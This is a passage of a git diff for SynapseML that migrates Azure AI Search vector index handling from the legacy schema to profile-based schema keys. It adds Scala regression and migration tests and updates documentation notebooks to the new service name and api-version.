fields.get("fields").map(rewriteFields(_, references)) + val reference = selectAlias(fields, ModernFieldReferenceKey, LegacyFieldReferenceKey).map { + case JsString(name) => + JsString(references.getOrElse(name, throw new IllegalArgumentException( + s"Cannot find or create a vector profile for algorithm '$name'"))) + case _ => throw new IllegalArgumentException( + s"$LegacyFieldReferenceKey and $ModernFieldReferenceKey must be strings") + } + val vectorField = hasVectorDimensions(fields) && reference.nonEmpty + JsObject(fields - LegacyFieldReferenceKey ++ reference.map(ModernFieldReferenceKey -> _) ++ + nested.map("fields" -> _) ++ (if (vectorField) Some("searchable" -> JsBoolean(true)) else None)) + case _ => throw new IllegalArgumentException("Each field definition must be a JSON object") + } + + private def selectAlias(fields: Map[String, JsValue], + preferredKey: String, + alternateKey: String): Option[JsValue] = { + (fields.get(preferredKey), fields.get(alternateKey)) match { + case (Some(preferred), Some(alternate)) if preferred != alternate => + throw new IllegalArgumentException(s"Conflicting $preferredKey and $alternateKey values") + case (Some(preferred), _) => Some(preferred) + case (_, alternate) => alternate + } + } + + private def asArray(value: JsValue, key: String): Vector[JsValue] = value match { + case JsArray(elements) => elements + case _ => throw new IllegalArgumentException(s"$key must be a JSON array") + } + + private def objectString(value: JsValue, key: String, owner: String): String = value match { + case JsObject(fields) => fields.get(key) match { + case Some(JsString(text)) => text + case _ => throw new IllegalArgumentException(s"Each $owner entry must contain a string $key") + } + case _ => throw new IllegalArgumentException(s"Each $owner entry must be a JSON object") + } + + private def profileValue(value: JsValue, key: String): Option[String] = value match { + case JsObject(fields) => fields.get(key).collect { case JsString(text) => text } + case _ => None + } + + private def vectorSearchContainsKey(index: JsValue, key: String): Boolean = index match { + case JsObject(fields) => fields.get("vectorSearch").exists { + case JsObject(vectorSearchFields) => vectorSearchFields.contains(key) + case _ => false + } + case _ => false + } + + private def containsFieldKey(index: JsValue, key: String): Boolean = index match { + case JsObject(fields) => fields.get("fields").exists(fieldArrayContainsKey(_, key)) + case _ => false + } + + private def fieldArrayContainsKey(value: JsValue, key: String): Boolean = value match { + case JsArray(elements) => elements.exists { + case JsObject(fields) => + fields.contains(key) || fields.get("fields").exists(fieldArrayContainsKey(_, key)) + case _ => false + } + case _ => false + } +} diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/split1/SearchWriterSuitePart1.scala b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/split1/SearchWriterSuitePart1.scala index 4003d0b61ce..8fc429cd4e7 100644 --- a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/split1/SearchWriterSuitePart1.scala +++ b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/split1/SearchWriterSuitePart1.scala @@ -510,7 +510,7 @@ class SearchWriterSuitePart1 extends SearchWriterSuiteUtilities val indexJson = retryWithBackoff(getIndexJsonFromExistingIndex(azureSearchKey, testServiceName, in1)) // assert if vectorCol is a vector field - assert(parseIndexJson(indexJson).fields.find(_.name == "vectorCol").get.vectorSearchConfiguration.nonEmpty) + assert(parseIndexJson(indexJson).fields.find(_.name == "vectorCol").get.vectorReference.nonEmpty) } test("Infer the structure of the index from the dataframe with vector columns") { @@ -546,9 +546,9 @@ class SearchWriterSuitePart1 extends SearchWriterSuiteUtilities // assert if vectorCols are a vector field val indexJson = retryWithBackoff(getIndexJsonFromExistingIndex(azureSearchKey, testServiceName, in)) - assert(parseIndexJson(indexJson).fields.find(_.name == "vectorCol1").get.vectorSearchConfiguration.nonEmpty) - assert(parseIndexJson(indexJson).fields.find(_.name == "vectorCol2").get.vectorSearchConfiguration.nonEmpty) - assert(parseIndexJson(indexJson).fields.find(_.name == "vectorCol3").get.vectorSearchConfiguration.nonEmpty) + assert(parseIndexJson(indexJson).fields.find(_.name == "vectorCol1").get.vectorReference.nonEmpty) + assert(parseIndexJson(indexJson).fields.find(_.name == "vectorCol2").get.vectorReference.nonEmpty) + assert(parseIndexJson(indexJson).fields.find(_.name == "vectorCol3").get.vectorReference.nonEmpty) } test("Throw useful error when given vector columns in nested fields") { @@ -631,6 +631,45 @@ class SearchWriterSuitePart1 extends SearchWriterSuiteUtilities } } + test("Write to a vector index created by an earlier release using the legacy schema") { + // Regression guard: an index created by a previous SynapseML release uses the legacy + // vector schema. Reading it back under the current default api-version returns + // `dimensions` with a null `vectorSearchProfile` and an empty `profiles` list, because + // the service normalizes the response. Appending documents must keep working for those + // users without them having to pin an apiVersion. + val in = generateIndexName() + val legacyApiVersion = "2023-07-01-Preview" + val vectorDF = createTestDataWithVector(4) + + // Create the index exactly as an older release would have. + AzureSearchWriter.write(vectorDF.limit(2), + Map("subscriptionKey" -> azureSearchKey, + "actionCol" -> "searchAction", + "serviceName" -> testServiceName, + "apiVersion" -> legacyApiVersion, + "indexJson" -> createSimpleIndexJsonWithVector(in))) + + val normalized = retryWithBackoff(getIndexJsonFromExistingIndex(azureSearchKey, testServiceName, in)) + val normalizedVectorField = parseIndexJson(normalized).fields.find(_.name == "vectorCol").get + assert(normalizedVectorField.isVectorField, + "a field with dimensions must still be recognised as a vector field after normalization") + + // Now append with the current default api-version, as an upgraded user would. + retryWithBackoff({ + if (getExisting(azureSearchKey, testServiceName).contains(in)) { + AzureSearchWriter.write(vectorDF.except(vectorDF.limit(2)), + Map("subscriptionKey" -> azureSearchKey, + "actionCol" -> "searchAction", + "serviceName" -> testServiceName, + "indexName" -> in)) + } else { + throw new RuntimeException("No existing service found") + } + }) + + retryWithBackoff(assertSize(in, 4)) + } + test("Handle non-existent vector column specified in vectorCols option") { val in = generateIndexName() val phraseDF = Seq( diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/split2/SearchWriterSuitePart2.scala b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/split2/SearchWriterSuitePart2.scala index 54ace956e1a..e24f77ae58f 100644 --- a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/split2/SearchWriterSuitePart2.scala +++ b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/split2/SearchWriterSuitePart2.scala @@ -49,7 +49,7 @@ class SearchWriterSuite extends SearchWriterSuiteUtilities { retryWithBackoff(assertSize(in, 2)) val indexJson = retryWithBackoff(getIndexJsonFromExistingIndex(azureSearchKey, testServiceName, in)) - assert(parseIndexJson(indexJson).fields.find(_.name == "vectorContent").get.vectorSearchConfiguration.nonEmpty) + assert(parseIndexJson(indexJson).fields.find(_.name == "vectorContent").get.vectorReference.nonEmpty) } test("Handle Azure Search index with scoring profiles") { diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/split2/VectorSchemaMigrationSuite.scala b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/split2/VectorSchemaMigrationSuite.scala new file mode 100644 index 00000000000..a9509c405bf --- /dev/null +++ b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/split2/VectorSchemaMigrationSuite.scala @@ -0,0 +1,445 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.services.search.split2 + +import com.microsoft.azure.synapse.ml.services.search._ +import com.microsoft.azure.synapse.ml.services.search.AzureSearchProtocol._ +import org.apache.http.{HttpEntity, HttpVersion} +import org.apache.http.client.methods.{CloseableHttpResponse, HttpGet} +import org.apache.http.entity.{BasicHttpEntity, StringEntity} +import org.apache.http.message.{BasicHttpResponse, BasicStatusLine} +import org.scalatest.funsuite.AnyFunSuite +import spray.json._ + +import java.io.{IOException, InputStream} + +/** Secret-free coverage for the Azure AI Search vector schema migration. */ +class VectorSchemaMigrationSuite extends AnyFunSuite { + + private val legacyIndexJson = + """ + |{ + | "name": "legacy-index", + | "fields": [ + | { "name": "id", "type": "Edm.String", "key": true }, + | { + | "name": "vectorCol", + | "type": "Collection(Edm.Single)", + | "dimensions": 3, + | "vectorSearchConfiguration": "hnswConfig", + | "futureFieldOption": { "mode": "kept" } + | } + | ], + | "vectorSearch": { + | "algorithmConfigurations": [ + | { + | "name": "hnswConfig", + | "kind": "hnsw", + | "parameters": { "m": 4, "efConstruction": 400, "efSearch": 500, "metric": "cosine" }, + | "futureAlgorithmOption": "kept" + | }, + | { + | "name": "exhaustiveConfig", + | "kind": "exhaustiveKnn", + | "parameters": { "metric": "euclidean" } + | } + | ], + | "futureVectorSearchOption": { "enabled": true } + | }, + | "futureRootOption": [1, 2, 3] + |} + """.stripMargin + + private val modernIndexJson = + """ + |{ + | "name": "modern-index", + | "fields": [ + | { "name": "id", "type": "Edm.String", "key": true }, + | { + | "name": "vectorCol", + | "type": "Collection(Edm.Single)", + | "searchable": true, + | "dimensions": 3, + | "vectorSearchProfile": "vectorProfile", + | "futureFieldOption": { "mode": "kept" } + | } + | ], + | "vectorSearch": { + | "algorithms": [ + | { + | "name": "hnswConfig", + | "kind": "hnsw", + | "parameters": { "m": 8, "efConstruction": 500, "efSearch": 700, "metric": "cosine" }, + | "futureAlgorithmOption": "kept" + | }, + | { + | "name": "exhaustiveConfig", + | "kind": "exhaustiveKnn", + | "parameters": { "metric": "dotProduct" } + | } + | ], + | "profiles": [ + | { + | "name": "vectorProfile", + | "algorithm": "hnswConfig", + | "vectorizer": "aoaiVectorizer", + | "compression": "scalarCompression", + | "futureProfileOption": 7 + | } + | ], + | "vectorizers": [ + | { + | "name": "aoaiVectorizer", + | "kind": "azureOpenAI", + | "azureOpenAIParameters": { + | "resourceUri": "https://example.openai.azure.com", + | "deploymentId": "embedding", + | "modelName": "text-embedding-3-small" + | }, + | "futureVectorizerOption": true + | } + | ], + | "compressions": [ + | { + | "name": "scalarCompression", + | "kind": "scalarQuantization", + | "rescoringOptions": { "enableRescoring": true, "defaultOversampling": 4.0 }, + | "futureCompressionOption": "kept" + | } + | ], + | "futureVectorSearchOption": { "enabled": true } + | }, + | "futureRootOption": { "mode": "kept" } + |} + """.stripMargin + + private def parse(json: String): JsValue = json.parseJson + + private def objectAt(value: JsValue, key: String): JsObject = + value.asJsObject.fields(key).asJsObject + + private def vectorField(value: JsValue): JsObject = + value.asJsObject.fields("fields").asInstanceOf[JsArray].elements + .map(_.asJsObject) + .find(_.fields.get("name").contains(JsString("vectorCol"))) + .get + + private class RecordingSearchIndexClient(existingIndexName: String, + remoteIndexJson: String) extends SearchIndexClient { + var listCalls = 0 + var getCalls = 0 + var createCalls = 0 + + override def getExisting(auth: AzureSearchAuth, + serviceName: String, + apiVersion: String): Seq[String] = { + listCalls += 1 + Seq(existingIndexName) + } + + override def getIndexJson(auth: AzureSearchAuth, + serviceName: String, + indexName: String, + apiVersion: String): String = { + getCalls += 1 + remoteIndexJson + } + + override def createIndex(auth: AzureSearchAuth, + serviceName: String, + indexJson: String, + apiVersion: String): Int = { + createCalls += 1 + 201 // scalastyle:ignore magic.number + } + } + + private class TrackingResponse(responseEntity: HttpEntity) + extends BasicHttpResponse(new BasicStatusLine(HttpVersion.HTTP_1_1, 200, "OK")) + with CloseableHttpResponse { // scalastyle:ignore magic.number + + @volatile var closed = false + setEntity(responseEntity) + + override def close(): Unit = closed = true + } + + test("api version gate uses the 2023-10-01-Preview boundary") { + Seq("2023-07-01-Preview", "2023-09-30", "2020-06-30") + .foreach(v => assert(!AzureSearchAPIConstants.supportsVectorProfiles(v), s"$v should use legacy schema")) + + Seq("2023-10-01-Preview", "2023-10-01", "2023-11-01", "2024-03-01-preview", "2026-04-01") + .foreach(v => assert(AzureSearchAPIConstants.supportsVectorProfiles(v), s"$v should use profiles")) + + assert(AzureSearchAPIConstants.supportsVectorProfiles(AzureSearchAPIConstants.DefaultAPIVersion)) + } + + test("invalid api versions fail explicitly") { + Seq("", "not-a-version", "2023-13-01", "2023-10").foreach { version => + val error = intercept[IllegalArgumentException] { + AzureSearchAPIConstants.supportsVectorProfiles(version) + } + assert(error.getMessage.contains("apiVersion")) + } + } + + test("published VectorSearch and IndexField case class shapes remain source compatible") { + val algorithms = Seq(AlgorithmConfigs("vectorConfig", "hnsw")) + val vectorSearch = VectorSearch(algorithms) + val VectorSearch(extractedAlgorithms) = vectorSearch + assert(extractedAlgorithms == algorithms) + assert(vectorSearch.productArity == 1) + + val field = IndexField( + "vectorCol", "Collection(Edm.Single)", None, None, None, None, None, None, + None, None, None, None, None, Some(3), Some("vectorConfig")) + val IndexField(name, fieldType, searchable, filterable, sortable, facetable, retrievable, key, + analyzer, searchAnalyzer, indexAnalyzer, synonymMap, fields, dimensions, vectorConfiguration) = field + + assert(name == "vectorCol") + assert(fieldType == "Collection(Edm.Single)") + assert(Seq(searchable, filterable, sortable, facetable, retrievable, key).forall(_.isEmpty)) + assert(Seq(analyzer, searchAnalyzer, indexAnalyzer).forall(_.isEmpty)) + assert(synonymMap.isEmpty && fields.isEmpty) + assert(dimensions.contains(3) && vectorConfiguration.contains("vectorConfig")) + assert(field.copy(name = "copy").productArity == 15) + } + + test("public parsers accept modern aliases without changing the published model") { + val parsed = new IndexParser {}.parseIndexJson(modernIndexJson) + val field = parsed.fields.find(_.name == "vectorCol").get + + assert(field.vectorSearchConfiguration.contains("vectorProfile")) + assert(parsed.vectorSearch.get.algorithmConfigurations.map(_.name) == + Seq("hnswConfig", "exhaustiveConfig")) + + val publicJson = parsed.toJson.asJsObject + assert(objectAt(publicJson, "vectorSearch").fields.contains("algorithmConfigurations")) + assert(vectorField(publicJson).fields.contains("vectorSearchConfiguration")) + } + + test("legacy JSON is modernized by renaming only required keys") { + val original = parse(legacyIndexJson) + val aligned = VectorSchema.align(original, "2023-10-01-Preview") + val originalVectorSearch = objectAt(original, "vectorSearch") + val alignedVectorSearch = objectAt(aligned, "vectorSearch") + val alignedField = vectorField(aligned) + + assert(alignedVectorSearch.fields("algorithms") == + originalVectorSearch.fields("algorithmConfigurations")) + assert(alignedVectorSearch.fields("futureVectorSearchOption") == + originalVectorSearch.fields("futureVectorSearchOption")) + assert(alignedVectorSearch.fields("profiles") == JsArray(Vector( + JsObject("name" -> JsString("hnswConfig"), "algorithm" -> JsString("hnswConfig")), + JsObject("name" -> JsString("exhaustiveConfig"), "algorithm" -> JsString("exhaustiveConfig"))))) + assert(!alignedVectorSearch.fields.contains("algorithmConfigurations")) + + assert(alignedField.fields("vectorSearchProfile") == JsString("hnswConfig")) + assert(alignedField.fields("searchable").convertTo[Boolean]) + assert(alignedField.fields("futureFieldOption") == vectorField(original).fields("futureFieldOption")) + assert(!alignedField.fields.contains("vectorSearchConfiguration")) + assert(aligned.asJsObject.fields("futureRootOption") == original.asJsObject.fields("futureRootOption")) + } + + test("the actual REST entity preserves complete modern vector JSON") { + val original = parse(modernIndexJson) + val entity = parse(SearchIndex.prepareEntity(modernIndexJson, "2026-04-01")) + + assert(entity == original) + val vectorSearchKeys = objectAt(entity, "vectorSearch").fields.keySet + assert(Seq("algorithms", "profiles", "vectorizers", "compressions").forall(vectorSearchKeys)) + } + + test("legacy REST preparation preserves parameters and unknown fields") { + val prepared = parse(SearchIndex.prepareEntity(legacyIndexJson, "2026-04-01")) + val originalVectorSearch = objectAt(parse(legacyIndexJson), "vectorSearch") + val preparedVectorSearch = objectAt(prepared, "vectorSearch") + + assert(preparedVectorSearch.fields("algorithms") == + originalVectorSearch.fields("algorithmConfigurations")) + assert(preparedVectorSearch.fields("futureVectorSearchOption") == + originalVectorSearch.fields("futureVectorSearchOption")) + assert(prepared.asJsObject.fields("futureRootOption") == + parse(legacyIndexJson).asJsObject.fields("futureRootOption")) + } + + test("legacy api path is explicit and refuses lossy modern downgrades") { + val legacy = parse(legacyIndexJson) + assert(VectorSchema.align(legacy, "2023-07-01-Preview") == legacy) + + val error = intercept[IllegalArgumentException] { + VectorSchema.align(parse(modernIndexJson), "2023-07-01-Preview") + } + assert(error.getMessage.contains("cannot be losslessly sent")) + assert(error.getMessage.contains("2023-10-01-Preview")) + } + + test("existing legacy indexes fail early instead of implying an automatic migration") { + val error = intercept[IllegalArgumentException] { + VectorSchema.requireCompatibleExistingIndex(parse(legacyIndexJson), "2026-04-01") + } + assert(error.getMessage.contains("createIfNoneExists does not update or migrate")) + assert(error.getMessage.contains("earlier than 2023-10-01-Preview")) + assert(error.getMessage.contains("Create or Update Index")) + + VectorSchema.requireCompatibleExistingIndex(parse(legacyIndexJson), "2023-07-01-Preview") + VectorSchema.requireCompatibleExistingIndex(parse(modernIndexJson), "2026-04-01") + } + + test("modern API responses that normalize legacy indexes are accepted") { + // This is the verbatim shape the live service returns when an index created with the + // legacy vector schema (algorithmConfigurations + vectorSearchConfiguration) is read + // under api-version 2026-04-01: the algorithm survives, but `profiles` is empty and the + // field's `vectorSearchProfile` is null. Rejecting this would break every existing + // SynapseML user who created a vector index with an earlier release and never pinned + // an apiVersion. SynapseML never rewrites an index that already exists, so writing + // documents to it is safe. + val normalizedLegacyIndex = + """ + |{ + | "name": "legacy-index", + | "fields": [ + | { "name": "id", "type": "Edm.String", "key": true, "dimensions": null, + | "vectorSearchProfile": null }, + | { + | "name": "vectorCol", + | "type": "Collection(Edm.Single)", + | "dimensions": 3, + | "vectorSearchProfile": null + | } + | ], + | "vectorSearch": { + | "algorithms": [ { "name": "vectorConfig", "kind": "hnsw" } ], + | "profiles": [], + | "vectorizers": [], + | "compressions": [] + | } + |} + """.stripMargin + + VectorSchema.requireCompatibleExistingIndex(parse(normalizedLegacyIndex), "2026-04-01") + + // The vector column must still be recognised as a vector, otherwise makeColsCompatible + // would stop converting Spark ML Vector columns and schema parity would fail. + val fields = normalizedLegacyIndex.parseJson.convertTo[IndexInfo].fields + assert(fields.find(_.name == "vectorCol").exists(_.isVectorField)) + assert(fields.find(_.name == "id").exists(!_.isVectorField)) + } + + test("existing modern indexes reject a legacy api version") { + val error = intercept[IllegalArgumentException] { + VectorSchema.requireCompatibleExistingIndex(parse(modernIndexJson), "2023-07-01-Preview") + } + assert(error.getMessage.contains("profile-based vector schema")) + assert(error.getMessage.contains("2023-10-01-Preview or later")) + } + + test("createIfNoneExists validates the actual remote index with one list and one GET") { + val remoteLegacyJson = legacyIndexJson.replace("\"legacy-index\"", "\"modern-index\"") + val client = new RecordingSearchIndexClient("modern-index", remoteLegacyJson) + + val error = intercept[IllegalArgumentException] { + SearchIndex.createIfNoneExists( + AzureSearchAuth(), "service", modernIndexJson, "2026-04-01", client) + } + + assert(error.getMessage.contains("legacy vector schema")) + assert(client.listCalls == 1) + assert(client.getCalls == 1) + assert(client.createCalls == 0) + } + + test("internal index GET closes responses after successful and failed reads") { + val successResponse = new TrackingResponse(new StringEntity("""{"name":"index"}""")) + val successJson = IndexJsonReader.read( + new HttpGet("https://example.test/index"), _ => successResponse) + + assert(successJson == """{"name":"index"}""") + assert(successResponse.closed) + + val failingEntity = new BasicHttpEntity() + failingEntity.setContent(new InputStream { + override def read(): Int = throw new IOException("expected read failure") + }) + val failingResponse = new TrackingResponse(failingEntity) + + assertThrows[IOException] { + IndexJsonReader.read(new HttpGet("https://example.test/failing-index"), _ => failingResponse) + } + assert(failingResponse.closed) + } + + test("nested fields are modernized without dropping unrelated content") { + val nested = + """ + |{ + | "name": "nested-index", + | "fields": [ + | { + | "name": "parent", + | "type": "Edm.ComplexType", + | "futureParentOption": true, + | "fields": [ + | { + | "name": "vectorCol", + | "type": "Collection(Edm.Single)", + | "dimensions": 3, + | "vectorSearchConfiguration": "vectorConfig", + | "futureChildOption": "kept" + | } + | ] + | } + | ], + | "vectorSearch": { + | "algorithmConfigurations": [ { "name": "vectorConfig", "kind": "hnsw" } ] + | } + |} + """.stripMargin + + val aligned = VectorSchema.align(parse(nested), "2026-04-01") + val parent = aligned.asJsObject.fields("fields").asInstanceOf[JsArray].elements.head.asJsObject + val child = parent.fields("fields").asInstanceOf[JsArray].elements.head.asJsObject + + assert(parent.fields("futureParentOption").convertTo[Boolean]) + assert(child.fields("futureChildOption") == JsString("kept")) + assert(child.fields("vectorSearchProfile") == JsString("vectorConfig")) + assert(child.fields("searchable").convertTo[Boolean]) + } + + test("a null dimensions placeholder is not treated as a vector field") { + val nullDimensions = parse( + """ + |{ + | "name": "null-dimensions-index", + | "fields": [ + | { + | "name": "notAVector", + | "type": "Edm.String", + | "dimensions": null, + | "vectorSearchConfiguration": "vectorConfig" + | } + | ], + | "vectorSearch": { + | "algorithmConfigurations": [ { "name": "vectorConfig", "kind": "hnsw" } ] + | } + |} + """.stripMargin) + + val aligned = VectorSchema.align(nullDimensions, "2026-04-01") + val field = aligned.asJsObject.fields("fields").asInstanceOf[JsArray].elements.head.asJsObject + + // The reference is still modernized, but a null placeholder must not force searchable=true. + assert(field.fields("vectorSearchProfile") == JsString("vectorConfig")) + assert(!field.fields.contains("searchable")) + } + + test("non-vector indexes are unchanged for both schema generations") { + val plain = parse( + """{"name":"plain-index","fields":[{"name":"id","type":"Edm.String","key":true}],"future":7}""") + + assert(VectorSchema.align(plain, "2026-04-01") == plain) + assert(VectorSchema.align(plain, "2023-07-01-Preview") == plain) + } +} diff --git a/docs/Explore Algorithms/AI Services/Overview.ipynb b/docs/Explore Algorithms/AI Services/Overview.ipynb index 978312c222d..368d623fb01 100644 --- a/docs/Explore Algorithms/AI Services/Overview.ipynb +++ b/docs/Explore Algorithms/AI Services/Overview.ipynb @@ -125,7 +125,7 @@ "- List Custom Models: Get information about all custom models. ([Scala](https://mmlspark.blob.core.windows.net/docs/1.0.15/scala/com/microsoft/azure/synapse/ml/services/form/ListCustomModels.html), [Python](https://mmlspark.blob.core.windows.net/docs/1.0.15/pyspark/synapse.ml.services.form.html#module-synapse.ml.services.form.ListCustomModels))\n", "\n", "### Search\n", - "- [**Azure Cognitive search**](https://docs.microsoft.com/azure/search/search-what-is-azure-search) ([Scala](https://mmlspark.blob.core.windows.net/docs/1.0.15/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearchWriter$.html), [Python](https://mmlspark.blob.core.windows.net/docs/1.0.15/pyspark/synapse.ml.services.search.html#module-synapse.ml.services.search.AzureSearchWriter))" + "- [**Azure AI Search**](https://docs.microsoft.com/azure/search/search-what-is-azure-search) ([Scala](https://mmlspark.blob.core.windows.net/docs/1.0.15/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearchWriter$.html), [Python](https://mmlspark.blob.core.windows.net/docs/1.0.15/pyspark/synapse.ml.services.search.html#module-synapse.ml.services.search.AzureSearchWriter))" ] }, { @@ -179,7 +179,7 @@ ") # Replace the call to find_secret with your key as a python string.\n", "translator_loc = \"eastus\"\n", "\n", - "# An Azure search key\n", + "# An Azure AI Search key\n", "search_key = find_secret(\n", " secret_name=\"azure-search-key\", keyvault=\"mmlspark-build-keys\"\n", ") # Replace the call to find_secret with your key as a python string." @@ -556,7 +556,7 @@ "source": [ "## Azure AI search sample\n", "\n", - "In this example, we show how you can enrich data using Cognitive Skills and write to an Azure Search Index using SynapseML." + "In this example, we show how you can enrich data using Cognitive Skills and write to an Azure AI Search Index using SynapseML." ] }, { diff --git a/docs/Explore Algorithms/AI Services/Quickstart - Create a Visual Search Engine.ipynb b/docs/Explore Algorithms/AI Services/Quickstart - Create a Visual Search Engine.ipynb index 2326836eb3c..33aa42b6eaa 100644 --- a/docs/Explore Algorithms/AI Services/Quickstart - Create a Visual Search Engine.ipynb +++ b/docs/Explore Algorithms/AI Services/Quickstart - Create a Visual Search Engine.ipynb @@ -10,7 +10,7 @@ { "cell_type": "markdown", "source": [ - "In this example, we show how you can enrich data using Cognitive Skills and write to an Azure Search Index using SynapseML. We use a subset of The MET's open-access collection and enrich it by passing it through 'Describe Image' and a custom 'Image Similarity' skill. The results are then written to a searchable index." + "In this example, we show how you can enrich data using Cognitive Skills and write to an Azure AI Search Index using SynapseML. We use a subset of The MET's open-access collection and enrich it by passing it through 'Describe Image' and a custom 'Image Similarity' skill. The results are then written to a searchable index." ], "metadata": {} }, @@ -105,7 +105,7 @@ { "cell_type": "markdown", "source": [ - "Before writing the results to a Search Index, you must define a schema which must specify the name, type, and attributes of each field in your index. Refer [Create a basic index in Azure Search](https://docs.microsoft.com/azure/search/search-what-is-an-index) for more information." + "Before writing the results to a Search Index, you must define a schema which must specify the name, type, and attributes of each field in your index. Refer [Create a basic index in Azure AI Search](https://docs.microsoft.com/azure/search/search-what-is-an-index) for more information." ], "metadata": {} }, @@ -131,7 +131,7 @@ { "cell_type": "markdown", "source": [ - "The Search Index can be queried using the [Azure Search REST API](https://docs.microsoft.com/rest/api/searchservice/) by sending GET or POST requests and specifying query parameters that give the criteria for selecting matching documents. For more information on querying refer [Query your Azure Search index using the REST API](https://docs.microsoft.com/rest/api/searchservice/Search-Documents)" + "The Search Index can be queried using the [Azure AI Search REST API](https://docs.microsoft.com/rest/api/searchservice/) by sending GET or POST requests and specifying query parameters that give the criteria for selecting matching documents. For more information on querying refer [Query your Azure AI Search index using the REST API](https://docs.microsoft.com/rest/api/searchservice/Search-Documents)" ], "metadata": {} }, @@ -139,7 +139,7 @@ "cell_type": "code", "execution_count": 12, "source": [ - "url = \"https://{}.search.windows.net/indexes/{}/docs/search?api-version=2019-05-06\".format(\n", + "url = \"https://{}.search.windows.net/indexes/{}/docs/search?api-version=2026-04-01\".format(\n", " search_service, search_index\n", ")\n", "requests.post(\n", diff --git a/docs/Explore Algorithms/AI Services/Quickstart - Document Question and Answering with PDFs.ipynb b/docs/Explore Algorithms/AI Services/Quickstart - Document Question and Answering with PDFs.ipynb index 2bf0ebd434b..20f9b6f6d8e 100644 --- a/docs/Explore Algorithms/AI Services/Quickstart - Document Question and Answering with PDFs.ipynb +++ b/docs/Explore Algorithms/AI Services/Quickstart - Document Question and Answering with PDFs.ipynb @@ -51,7 +51,7 @@ "We\u2019ll cover the following key steps:\n", "\n", "1. Preprocessing PDF Documents: Learn how to load the PDF documents into a Spark DataFrame, read the documents using the [Azure AI Document Intelligence](https://azure.microsoft.com/products/ai-services/ai-document-intelligence) in Azure AI Services, and use SynapseML to split the documents into chunks.\n", - "2. Embedding Generation and Storage: Learn how to generate embeddings for the chunks using SynapseML and [Azure OpenAI Services](https://azure.microsoft.com/products/ai-services/openai-service), store the embeddings in a vector store using [Azure Cognitive Search](https://azure.microsoft.com/products/search), and search the vector store to answer the user\u2019s question.\n", + "2. Embedding Generation and Storage: Learn how to generate embeddings for the chunks using SynapseML and [Azure OpenAI Services](https://azure.microsoft.com/products/ai-services/openai-service), store the embeddings in a vector store using [Azure AI Search](https://azure.microsoft.com/products/search), and search the vector store to answer the user\u2019s question.\n", "3. Question Answering Pipeline: Learn how to retrieve relevant document based on the user\u2019s question and provide the answer using [Langchain](https://python.langchain.com/en/latest/index.html#)." ] }, @@ -155,7 +155,7 @@ "aoai_deployment_name_query = \"gpt-5.1\"\n", "aoai_model_name_query = \"gpt-5.1\"\n", "\n", - "# Azure Cognitive Search\n", + "# Azure AI Search\n", "cogsearch_name = \"mmlspark-azure-search\"\n", "cogsearch_index_name = \"examplevectorindex\"\n", "cogsearch_api_key = find_secret(\n", @@ -608,7 +608,7 @@ } }, "source": [ - "### Step 6: Store the embeddings in Azure Cognitive Search Vector Store." + "### Step 6: Store the embeddings in Azure AI Search Vector Store." ] }, { @@ -627,7 +627,7 @@ } }, "source": [ - "[Azure Cognitive Search](https://learn.microsoft.com/azure/search/search-what-is-azure-search) offers a user-friendly interface for creating a vector database, as well as storing and retrieving data using vector search. If you're interested in learning more about vector search, you can look [here](https://github.com/Azure/cognitive-search-vector-pr/tree/main).\n", + "[Azure AI Search](https://learn.microsoft.com/azure/search/search-what-is-azure-search) offers a user-friendly interface for creating a vector database, as well as storing and retrieving data using vector search. If you're interested in learning more about vector search, you can look [here](https://github.com/Azure/cognitive-search-vector-pr/tree/main).\n", "\n", "\n", "Storing data in the AzureCogSearch vector database involves two main steps:\n", @@ -674,6 +674,8 @@ " serviceName=cogsearch_name,\n", " indexName=cogsearch_index_name,\n", " keyCol=\"idx\",\n", + " # This shared index uses the legacy vector schema until it is explicitly migrated.\n", + " apiVersion=\"2023-07-01-Preview\",\n", " vectorCols=json.dumps([{\"name\": \"embeddings\", \"dimension\": 1536}]),\n", ")" ] @@ -771,10 +773,19 @@ "\n", "def retrieve_k_chunk(k, question_embedding):\n", " # Retrieve the top K entries\n", - " url = f\"https://{cogsearch_name}.search.windows.net/indexes/{cogsearch_index_name}/docs/search?api-version=2023-07-01-Preview\"\n", + " url = f\"https://{cogsearch_name}.search.windows.net/indexes/{cogsearch_index_name}/docs/search?api-version=2026-04-01\"\n", "\n", " payload = json.dumps(\n", - " {\"vector\": {\"value\": question_embedding, \"fields\": \"embeddings\", \"k\": k}}\n", + " {\n", + " \"vectorQueries\": [\n", + " {\n", + " \"kind\": \"vector\",\n", + " \"vector\": question_embedding,\n", + " \"fields\": \"embeddings\",\n", + " \"k\": k,\n", + " }\n", + " ]\n", + " }\n", " )\n", " headers = {\n", " \"Content-Type\": \"application/json\",\n", diff --git a/docs/Explore Algorithms/OpenAI/Quickstart - Understand and Search Forms.ipynb b/docs/Explore Algorithms/OpenAI/Quickstart - Understand and Search Forms.ipynb index 7d292948c46..5f0809c7dc4 100644 --- a/docs/Explore Algorithms/OpenAI/Quickstart - Understand and Search Forms.ipynb +++ b/docs/Explore Algorithms/OpenAI/Quickstart - Understand and Search Forms.ipynb @@ -23,7 +23,7 @@ "> + Load various forms (invoices) into a data frame in an Apache Spark session\n", "> + Analyze them to determine their features\n", "> + Assemble the resulting output into a tabular data structure\n", - "> + Write the output to a search index hosted in Azure Cognitive Search\n", + "> + Write the output to a search index hosted in Azure AI Search\n", "> + Explore and query over the content you created" ] }, @@ -595,7 +595,7 @@ } }, "source": [ - "## 8 - Create an Azure Search Index for the Forms" + "## 8 - Create an Azure AI Search Index for the Forms" ] }, { @@ -669,7 +669,7 @@ "source": [ "import requests\n", "\n", - "search_url = 